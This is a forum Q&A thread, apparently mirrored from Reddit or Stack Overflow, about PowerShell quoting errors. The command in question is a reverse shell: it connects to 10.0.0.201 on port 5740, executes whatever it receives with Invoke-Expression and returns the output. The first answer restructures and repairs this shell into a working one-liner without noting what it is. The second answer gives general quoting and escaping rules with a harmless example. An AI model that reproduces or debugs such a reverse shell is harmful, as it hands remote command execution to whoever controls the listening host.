I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former. It seems very few apps actually recognize the first one, so I don't know if it will come through properly for you guys. [Here][1] is a pastebin of it in case Reddit formats it.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definately do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback "PS " (pwd).Path "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback PS ( ...
\ \~
You must provide a value expression following the ' ' operator.
At line:1 char:469
\ ... t-String ) -Name sendback;Set-Variable -Value ($sendback PS (pwd ...
\ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback PS ( ...
\ \~
Missing closing ')' in expression.
At line:1 char:489
\ ... endback;Set-Variable -Value ($sendback PS (pwd).Path > ) -Name ...
\ \~
Missing file specification after redirection operator.
At line:1 char:262
\ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\ ... dback;Set-Variable -Value ($sendback PS (pwd).Path > ) -Name s ...
\ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\ \~
Unexpected token '}' in expression or statement.
\ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\ FullyQualifiedErrorId : ExpectedValueExpression
[1]: https://pastebin.com/sRcgiHfJ
CodePudding user response:
As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback "PS " (Get-Location).Path "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
CodePudding user response:
The keys to making your call to powershell.exe
, the Windows PowerShell CLI, work as intended from cmd.exe
/ outside PowerShell[1] are:
Do not use overall
'...'
quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.- It's best to use overall
"..."
quoting (see below).
- It's best to use overall
Do not use
\
as the escape character - except to escape"
characters (see below).- Not only does
\
not function as a general-purpose escape character (neither in PowerShell nor incmd.exe
),[
and]
do not require escaping, so that, for instance,\[byte\[\]\]
should just be[byte[]]
. - PowerShell's escape character is
`
, the so-called backtick, andcmd.exe
's escape character - in unquoted arguments only - is^
.
- Not only does
"
characters that you want to be part of the PowerShell command to execute must be escaped as\"
Escaping
"
characters is a requirement whether or not you're using overall"..."
quoting, but without the latter it is only\"
that works - see this answer, which also explains why this escaping is necessary.With overall
"..."
quoting, which is generally preferable, becausecmd.exe
then (mostly) does not interpret the content,\"
works too, but there are still edge cases where misinterpretation bycmd.exe
can occur, in which case an alternative form of"
-escaping is the solution: This alternative form is edition-specific, unfortunately:"^""..."^""
(sic) in Windows PowerShell,""...""
in PowerShell (Core) 7 - see this answer.
When calling from
cmd.exe
/ a batch file, avoid use of%
, unless you're trying to reference an environment variablecmd.exe
-style, e.g.%OS%
:- From batch files,
%
chars. you want to pass through to PowerShell, must be escaped as%%
- In an interactive
cmd.exe
session,%
cannot be escaped at all, and%%
would be passed as is. - Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid
%
, if possible; here you can useforeach
as an alternative to use of%
as an alias of theForEach-Object
cmdlet (of course, you can use the full cmdlet name too).
- From batch files,
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }
) - see this answer.